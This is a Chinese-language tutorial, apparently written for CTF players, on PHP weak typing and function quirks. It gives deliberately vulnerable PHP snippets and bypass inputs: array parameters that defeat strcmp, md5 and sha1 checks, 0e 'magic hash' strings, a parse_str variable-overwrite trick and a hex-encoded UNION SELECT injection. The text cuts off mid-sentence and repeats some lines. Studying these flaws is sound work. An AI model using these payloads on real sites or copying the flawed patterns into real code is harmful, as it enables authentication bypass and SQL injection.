一文了解PHP的各类漏洞和绕过姿势
前言
尽可能全面的总结PHP的各种安全问题
- 基础知识
- 弱类型及各种函数
- 伪协议
- 反序列化
- 其他
本篇持续更新
一、基础知识
1、九大全局变量
$_POST
:用于接收post提交的数据$_GET
:用于获取url地址栏的参数数据$_FILES
:用于文件接收的处理, img 最常见$_COOKIE
:用于获取与setCookie()
中的name 值$_SESSION
:用于存储session的值或获取session中的值$_REQUEST
:具有get、post的功能,但比较慢$_SERVER
:预定义服务器变量的一种$GLOBALS
:一个包含了全部变量的全局组合数组$_ENV
:是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它
二、弱类型以及各种函数
1、精度缺陷
在用PHP进行浮点数的运算中,经常会出现一些和预期结果不一样的值,这是由于浮点数的精度有限
尽管取决于系统,PHP 通常使用 IEEE 754 双精度格式,则由于取整而导致的最大相对误差为 1.11e-16
非基本数学运算可能会给出更大误差,并且要考虑到进行复合运算时的误差传递
下面看一个有趣的例子感受下:
以十进制能够精确表示的有理数如 0.1 或 0.7,无论有多少尾数都不能被内部所使用的二进制精确表示 因此不能在不丢失一点点精度的情况下转换为二进制的格式
这就会造成混乱的结果:
例如,floor((0.1 0.7)*10)
通常会返回 7 而不是预期中的 8,因为该结果内部的表示其实是类似 7.9999999999999991118…
2、类型转换缺陷
PHP弱类型语言的一个特性,当一个整形和一个其他类型比较的时候,会先把其他类型intval数字化再比
举个例子
代码语言:javascript复制<?php
error_reporting(0);
$flag = 'flag{test}';
$id = $_GET['id'];
is_numeric($id)?die("Sorry...."):NULL;
if($id>2020){
echo $flag;
}
?>
既要传入非数字,又要比2020大
那就传个?id=2021a
即可
实例
- simple_php
3、==
和===
比较符如下
尤其要关注的是==
和===
==
会先将字符串类型转换成相同,再比较===
会先判断两种字符串的类型是否相等,再比较
一些利用
代码语言:javascript复制'a'==0 //true
'12a'==12 //true
'1'==1 //true
'1aaaa55sss66'==1 //true
1==true=="1" //true
"0e123" == "0e456" //true,0e这类字符串识为科学技术法的数字,0的无论多少次方都是零,所以相等
"0e123" == "0eabc" //flase,科学计数的指数不可以包含字母
一批md5开头是0e
的字符串
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
实例
- simple_php
- ics-07
4、strcmp()
函数
这是个比较字符串的函数
代码语言:javascript复制int strcmp ( string $str1 , string $str2 )
- 如果
str1
小于str2
返回< 0
- 如果
str1
大于str2
返回> 0
- 如果两者相等,返回 0
问题
- 在PHP版本为5.3.3至5.5中(不包含5.5),当比较数组和字符串的时候,返回值也是0
例子
代码语言:javascript复制<?php
$password=$_GET['password'];
if(strcmp('am0s',$password)){
echo 'false!';
}else{
echo 'success!';
}
?>
绕过
代码语言:javascript复制?password[]=1
拓展
- 除了
strcmp()
函数外,ereg()
和strpos()
函数在处理数组的时候也会异常,返回NULL
5、intval()
函数
用于获取变量的整数值 在转换时,函数会从字符串起始处进行转换直到遇到一个非数字的字符 即使出现无法转换的字符串也不会报错而是返回0
于是有
代码语言:javascript复制<?php
$a = $_GET['a'];
if (intval($a) === 666) {
$sql = "Select a From Table Where Id=".$a;
echo $sql;
} else {
echo "No...";
}
?>
6、sha1()
和md5()
加密函数
都用于计算字符串的散列值 但是两者都无法处理数组,不会抛出异常而是直接返回NULL
例子
代码语言:javascript复制<?php
$a = $_GET['a'];
$b = $_GET['b'];
if (md5($a) === sha1($b)) {
echo "Bypass md5() and sha1()!";
} else {
echo "No...";
}
?>
绕过方法
代码语言:javascript复制?a[]=1&b[]=1
7、parse_str()
函数
解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量
代码语言:javascript复制void parse_str ( string $str [, array &$arr ] )
当parse_str()函数的参数值可以被用户控制时,则存在变量覆盖漏洞
例子
代码语言:javascript复制<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include ('flag.php');
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('so easy!');
}
}
?>
结合弱类型的例子
代码语言:javascript复制<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
include ('flag.php');
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo $flag;
} else {
exit('so easy!');
}
}
?>
绕过
代码语言:javascript复制?b=a[0]=240610708
8、is_numeric()
函数
用于检测变量是否为数字或数字字符串
可被十六进制的值进行绕过
例子
代码语言:javascript复制<?php
$name = $_GET['name'];
$con = mysql_connect("localhost","root","hehe123");
if (!$con)
{
die('Could not connect: ' . mysql_error());
}
mysql_select_db("test", $con);
if (is_numeric($name)) {
mysql_query("insert into users values (3," . $name . ",'test')");
}
?>
1′ union select 1,2,3
的十六进制为0x312720756e696f6e2073656c65637420312c322c33
绕过
?name=0x312720756e696f6e2073656c65637420312c322c33
9、in_array()
函数
用来判断一个值是否在某一个数组列表里面 其缺陷在于存在自动类型转换 当输入数字1后再紧跟其他字符串能够Bypass检测数组的功能
例子
代码语言:javascript复制<?php
$id = $_GET['id'];
if (in_array($id, array(1,2,3,4,5,6,7,8,9,0))) {
$sql = "Select a From users Where Id='".$id."'";
echo $sql;
} else {
echo "No...";
}
?>
10、ereg()
和eregi()
用于正则匹配,两者的区别在于是否区分大小写 使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false
该函数可被